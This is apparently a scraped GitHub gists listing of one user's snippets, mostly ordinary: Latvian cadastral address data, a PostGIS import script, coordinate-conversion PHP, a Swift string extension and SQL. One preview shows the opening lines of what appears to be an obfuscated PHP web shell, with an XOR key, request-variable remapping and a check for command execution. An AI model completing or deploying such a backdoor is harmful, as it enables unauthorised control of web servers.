Tuvākā adrese | Ēkas kadastra numurs | Zemes gabala kadastra numurs | Platība |
---|---|---|---|
Ziemeļu iela 19A, Liepāja, LV-3405 | 17000110026001 | 17000110026 | 116650 |
Augusta Deglava iela 161, Rīga, LV-1021 | 01000920663009 | 01000920663 | 74554 |
Višķu iela 21S, Daugavpils, LV-5410 | 05000070063004 | 05000070141 | 65722 |
Višķu iela 17A, Daugavpils, LV-5410 | 05000071402006 | 05000071402 | 63436 |
Maskavas iela 257, Rīga, LV-1019 | 01000720108001 | 01000720108 | 59598 |
Brīvības gatve 372, Rīga, LV-1006 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
document.querySelector('#feedlyChrome__leftnav-wrapper > div > nav.LeftnavList > div.LeftnavList__feed-list > div:nth-child(2) > div.MockLink.LeftnavListRow.LeftnavListRow--selected > span.LeftnavListRow__count') | |
.innerText = Array.from(document.querySelectorAll('.LeftnavListRow__count')).map((val) => val === "1K+" ? 0 : parseInt(val.innerText, 10)).reduce((a, b) => a + b) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
require('../vendor/autoload.php'); | |
$dotenv = Dotenv\Dotenv::createMutable(__DIR__ . '/../'); | |
$dotenv->load(); | |
const WORLD_MERCATOR_MAX = 20037508.3427892; | |
const WORLD_MERCATOR_MIN = -WORLD_MERCATOR_MAX; | |
const WORLD_MERCATOR_SIZE = WORLD_MERCATOR_MAX - WORLD_MERCATOR_MIN; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# Download all your data from https://data.gov.lv/dati/lv/dataset/kadastra-informacijas-sistemas-atverti-telpiskie-dati | |
# Script does the following: | |
# 1. Creates a single shapefile with all the layers | |
# 2. Imports all the layers into PostGIS | |
APPEND=0 | |
LAYERS="KKCadastralGroup KKBuilding KKEngineeringStructurePoly KKParcel KKParcelBorderPoint KKParcelError KKParcelPart KKSurveyingStatus KKWayRestriction" | |
DB=vzd |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Latvia | |
# From Liene Kanepe (1998-09-17): | |
# I asked about this matter Scientific Secretary of the Institute of Astronomy | |
# of The University of Latvia Dr. paed Mr. Ilgonis Vilks. I also searched the | |
# correct data in juridical acts and I found some juridical documents about | |
# changes in the counting of time in Latvia from 1981.... | |
# | |
# Act No. 35 of the Council of Ministers of Latvian SSR of 1981-01-22 ... |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
### | |
### XOR key: SjJVkE6rkRYj | |
### | |
//adjust system variables | |
if(!@isset($_SERVER)){$_COOKIE=&$HTTP_COOKIE_VARS;$_POST=&$HTTP_POST_VARS;$_GET=&$HTTP_GET_VARS;} | |
//die with error | |
function x_die($m){@header('HTTP/1.1 500 '.$m);@die();} | |
//check if we can exec |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Ja šis nedod korektu rezultātu Y asī, atkomentē rindiņu, kur ir "$y -= -6000000.0;" | |
function LKSToLatLon($x, $y) | |
{ | |
/* Ellipsoid model constants (actual values here are for WGS84) */ | |
$UTMScaleFactor = 0.9996; | |
$sm_a = 6378137.0; | |
$sm_b = 6356752.314; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* | |
* Since Swift has no concept of real world String uses, I just had to make this extension. | |
* With this extension you can set and get following: | |
* | |
* Access String by Int index: | |
* let second = string[1] | |
* | |
* Set value by index or range: | |
* string[1] = "a" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Road data comes from OpenStreetmap (http://download.geofabrik.de/osm/) | |
**/ | |
select st_distance(st_closestpoint(r.the_geog::geometry, wa.location::geometry), wa.location::geometry) as cp | |
, r.name | |
, r.ref | |
, r.ogc_fid | |
, r.type | |
, st_astext(wa.location) | |
, wa.* |
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.